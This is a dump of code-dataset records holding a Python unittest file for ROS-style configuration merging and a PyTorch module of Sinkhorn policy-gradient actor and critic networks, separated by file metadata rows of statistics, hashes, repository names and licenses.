gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_15(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=["/topic2"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result = configuration() config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=["/topic2"])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_16(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=[])) config_b.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic3"])) config_b.observers.append(observer_configuration(type="movement", resource=["/topic2", "/topic3"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=[])) config_result.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic2"])) config_result.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic3"])) config_result.observers.append(observer_configuration(type="movement", resource=["/topic2", "/topic3"])) gen = ModelGenerator() gen.set_config(config_a) print gen.config gen.add_config(config_b) print gen.config self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_1(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result = configuration() gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_2(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_3(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", ], sub_topic=[])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"])) config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node3", pub_topic=[], sub_topic=["/topic1"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", ], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=["/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_4(self): config_a = configuration() config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=[])) config_result = configuration() config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_5(self): config_a = configuration() config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1")) config_result = configuration() config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_6(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_b = configuration() config_b.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_7(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) config_b = configuration() config_b.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_8(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=[])) config_result = configuration() config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append( node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_9(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) config_b = configuration() config_b.observers.append(observer_configuration(type="hz")) config_result = configuration() config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_remove_config_10(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) config_b = configuration() config_b.observers.append(observer_configuration(type="hz", resource=[])) config_result = configuration() config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append( node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.remove_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_update_config_1(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.update_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_update_config_2(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.update_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_update_config_3(self): config_a = configuration() config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_b = configuration() config_b.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_result = configuration() config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) gen.update_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_get_config_copy_1(self): config_a = configuration() config_a.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"])) config_result = configuration() config_result.nodes.append( node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"])) gen = ModelGenerator() gen.set_config(config_a) self.assertTrue(ConfigurationValidation.compare_configs(gen.get_config_copy(), config_result), "configs do not match!")

55.481107

120

0.67891

9,352

82,223

5.726796

0.031544

0.040125

0.115522

0.179472

0.908229

0.892078

0.879175

0.876039

0.863753

0.847023

0

0.013663

0.182869

82,223

1,481

121

55.518569

0.78347

0.018644

0

0.764235

1

0

0.096247

0

0.048043

0

null

0.002669

0.009786

null

0.002669

0

null

0

1

0

1

0

null

0

1

0

10

9cd5b45e3d3484125d1ea4c797a0fb5ac9320df9

9,838

py

Python

spg/models.py

pemami4911/sinkhorn-policy-gradient.pytorch

e029640397b77571b33df887f524b6ba2009e2c1

[ "BSD-3-Clause" ]

39

2018-05-22T15:36:02.000Z

2021-11-10T01:14:58.000Z

spg/models.py

pemami4911/sinkhorn-policy-gradient.pytorch

e029640397b77571b33df887f524b6ba2009e2c1

[ "BSD-3-Clause" ]

null

spg/models.py

pemami4911/sinkhorn-policy-gradient.pytorch

e029640397b77571b33df887f524b6ba2009e2c1

[ "BSD-3-Clause" ]

9

2018-05-22T15:46:57.000Z

2021-09-30T15:48:46.000Z

import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable import numpy as np import math from spg.layers import Sinkhorn from spg.util import parallel_matching from sklearn.utils.linear_assignment_ import linear_assignment from pathos.multiprocessing import ProcessingPool as Pool class SPGSequentialActor(nn.Module): """ Embeds the input, then an RNN maps it to an intermediate representation which gets transofrmed to a stochastic matrix """ def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, bidirectional=True, sinkhorn_iters=5, sinkhorn_tau=1, num_workers=4, cuda=True): super(SPGSequentialActor, self).__init__() self.use_cuda = cuda self.n_nodes = n_nodes self.embedding_dim = embedding_dim self.rnn_dim = rnn_dim self.num_workers = num_workers self.embedding = nn.Linear(n_features, embedding_dim) self.gru = nn.GRU(embedding_dim, rnn_dim, bidirectional=bidirectional) scale = 2 if bidirectional else 1 self.fc2 = nn.Linear(scale * self.rnn_dim, n_nodes) self.sinkhorn = Sinkhorn(n_nodes, sinkhorn_iters, sinkhorn_tau) self.round = linear_assignment init_hx = torch.zeros(scale, self.rnn_dim) if cuda: init_hx = init_hx.cuda() self.init_hx = Variable(init_hx, requires_grad=False) if num_workers > 0: self.pool = Pool(num_workers) def cuda_after_load(self): self.init_hx = self.init_hx.cuda() def forward(self, x, do_round=True): """ x is [batch_size, n_nodes, num_features] """ batch_size = x.size()[0] x = F.leaky_relu(self.embedding(x)) x = torch.transpose(x, 0, 1) init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1) h_last, _ = self.gru(x, init_hx) # h_last should be [n_nodes, batch_size, decoder_dim] x = torch.transpose(h_last, 0, 1) # transform to [batch_size, n_nodes, n_nodes] M = self.fc2(x) psi = self.sinkhorn(M) if do_round: batch = psi.data.cpu().numpy() if np.any(np.isnan(batch)): return None, None, None, None if self.num_workers > 0: batches = np.split(batch, self.num_workers, 0) perms = self.pool.map(parallel_matching, batches) perms = [p for pp in perms for p in pp] else: perms = [] for i in range(batch_size): perm = torch.zeros(self.n_nodes, self.n_nodes) matching = self.round(-batch[i]) perm[matching[:,0], matching[:,1]] = 1 perms.append(perm) perms = torch.stack(perms) if self.use_cuda: perms = perms.cuda() #dist = torch.sum(torch.sum(psi * perms, dim=1), dim=1) / self.n_nodes return psi, perms else: return psi, None class SPGMatchingActor(nn.Module): def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, sinkhorn_iters=5, sinkhorn_tau=1., num_workers=4, cuda=True): super(SPGMatchingActor, self).__init__() self.use_cuda = cuda self.n_nodes = n_nodes self.rnn_dim = rnn_dim self.num_workers = num_workers self.embedding = nn.Linear(n_features, embedding_dim) self.gru = nn.GRU(n_nodes, rnn_dim) self.fc1 = nn.Linear(self.rnn_dim, n_nodes) self.sinkhorn = Sinkhorn(n_nodes, sinkhorn_iters, sinkhorn_tau) self.round = linear_assignment init_hx = torch.zeros(1, self.rnn_dim) if cuda: init_hx = init_hx.cuda() self.init_hx = Variable(init_hx, requires_grad=False) if num_workers > 0: self.pool = Pool(num_workers) def cuda_after_load(self): self.init_hx = self.init_hx.cuda() def forward(self, x, do_round=True): """ x is [batch_size, 2 * n_nodes, num_features] """ batch_size= x.size()[0] # split x into G1 and G2 g1 = x[:,0:self.n_nodes,:] g2 = x[:,self.n_nodes:2*self.n_nodes,:] g1 = F.leaky_relu(self.embedding(g1)) g2 = F.leaky_relu(self.embedding(g2)) # take outer product, result is [batch_size, N, N] x = torch.bmm(g2, torch.transpose(g1, 2, 1)) x = torch.transpose(x, 0, 1) init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1) h, _ = self.gru(x, init_hx) # h is [n_nodes, batch_size, rnn_dim] h = torch.transpose(h, 0, 1) # result M is [batch_size, n_nodes, n_nodes] M = self.fc1(h) psi = self.sinkhorn(M) if do_round: batch = psi.data.cpu().numpy() if np.any(np.isnan(batch)): return None, None, None, None if self.num_workers > 0: batches = np.split(batch, self.num_workers, 0) perms = self.pool.map(parallel_matching, batches) perms = [p for pp in perms for p in pp] else: perms = [] for i in range(batch_size): perm = torch.zeros(self.n_nodes, self.n_nodes) matching = self.round(-batch[i]) perm[matching[:,0], matching[:,1]] = 1 perms.append(perm) perms = torch.stack(perms).contiguous() perms.pin_memory() if self.use_cuda: perms = perms.cuda(async=True) #dist = torch.sum(torch.sum(psi * perms, dim=1), dim=1) / self.n_nodes return psi, perms else: return psi, None SPGSiameseActor = SPGMatchingActor class SPGSequentialCritic(nn.Module): def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, bidirectional=True, cuda=True): super(SPGSequentialCritic, self).__init__() self.use_cuda = cuda self.n_nodes = n_nodes self.embedding_dim = embedding_dim self.rnn_dim = rnn_dim self.embeddingX = nn.Linear(n_features, embedding_dim) self.embeddingP = nn.Linear(n_nodes, embedding_dim) self.combine = nn.Linear(embedding_dim, embedding_dim) self.gru = nn.GRU(embedding_dim, rnn_dim, bidirectional=bidirectional) self.fc1 = nn.Linear(embedding_dim, 1) self.fc2 = nn.Linear(n_nodes, 1) scale = 2 if bidirectional else 1 self.fc3 = nn.Linear(scale * rnn_dim, embedding_dim) self.bn1 = nn.BatchNorm1d(n_nodes) self.bn2 = nn.BatchNorm1d(n_nodes) self.bn3 = nn.BatchNorm1d(n_nodes) init_hx = torch.zeros(scale, self.rnn_dim) if cuda: init_hx = init_hx.cuda() self.init_hx = Variable(init_hx, requires_grad=False) def cuda_after_load(self): self.init_hx = self.init_hx.cuda() def forward(self, x, p): """ x is [batch_size, n_nodes, num_features] """ batch_size = x.size()[0] x = F.leaky_relu(self.bn1(self.embeddingX(x))) p = F.leaky_relu(self.bn2(self.embeddingP(p))) xp = F.leaky_relu(self.bn3(self.combine(x + p))) x = torch.transpose(xp, 0, 1) init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1) h_last, hidden_state = self.gru(x, init_hx) # h_last should be [n_nodes, batch_size, decoder_dim] x = torch.transpose(h_last, 0, 1) x = F.leaky_relu(self.fc3(x)) out = self.fc1(x) out = self.fc2(torch.transpose(out, 1, 2)) # out is [batch_size, 1, 1] return out class SPGMatchingCritic(nn.Module): def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, cuda): super(SPGMatchingCritic, self).__init__() self.use_cuda = cuda self.n_nodes = n_nodes self.rnn_dim = rnn_dim self.embedding = nn.Linear(n_features, embedding_dim) self.embed_action = nn.Linear(n_nodes, embedding_dim) self.embedding_bn = nn.BatchNorm1d(n_nodes) self.gru = nn.GRU(n_nodes, rnn_dim) self.combine = nn.Linear(embedding_dim, n_nodes) self.bn1 = nn.BatchNorm1d(n_nodes) self.bn2 = nn.BatchNorm1d(n_nodes) self.fc1 = nn.Linear(self.rnn_dim, embedding_dim) self.fc2 = nn.Linear(n_nodes, 1) self.fc3 = nn.Linear(n_nodes, 1) init_hx = torch.zeros(1, self.rnn_dim) if cuda: init_hx = init_hx.cuda() self.init_hx = Variable(init_hx, requires_grad=False) def cuda_after_load(self): self.init_hx = self.init_hx.cuda() def forward(self, x, p): """ x is [batch_size, 2 * n_nodes, num_features] p is [batch_size, n_nodes, n_nodes] """ batch_size = x.size()[0] # split x into G1 and G2 g1 = x[:,0:self.n_nodes,:] g2 = x[:,self.n_nodes:2*self.n_nodes,:] g1 = F.leaky_relu(self.embedding(g1)) g2 = F.leaky_relu(self.embedding(g2)) # take outer product, result is [batch_size, N, N] x = torch.bmm(g2, torch.transpose(g1, 2, 1)) x = torch.transpose(x, 0, 1) init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1) h, hidden_state = self.gru(x, init_hx) # h is [n_nodes, batch_size, rnn_dim] x = torch.transpose(h, 0, 1) # result is [batch_size, n_nodes, embedding_dim] x = F.leaky_relu(self.bn1(self.fc1(x))) p = F.leaky_relu(self.embedding_bn(self.embed_action(p))) x = F.leaky_relu(self.bn2(self.combine(x + p))) out = self.fc2(x) out = self.fc3(torch.transpose(out, 1, 2)) # out is [batch_size, 1, 1] return out

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3.979914

0.110473

0.061644

0.028839

0.030281

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0.70584

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0.019256

0.292641

9,838

243

100

40.485597

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null

0

null

0

1

0

null

0

1

0

7

9cfa3aef10415987de48e651bdd68917e8802a13

868

py

Python

scripts/exp_scripts/src/logparse/write_array_to_file.py

MobilityFirst/GNS

1eb5524457e0075dc9f451bd66e39f9291052eb8

[ "Apache-2.0" ]

17

2015-11-16T18:02:47.000Z

2020-08-02T08:53:11.000Z

scripts/exp_scripts/src/logparse/write_array_to_file.py

MobilityFirst/GNS

1eb5524457e0075dc9f451bd66e39f9291052eb8

[ "Apache-2.0" ]

63

2015-12-22T20:52:28.000Z

2019-03-06T02:44:20.000Z

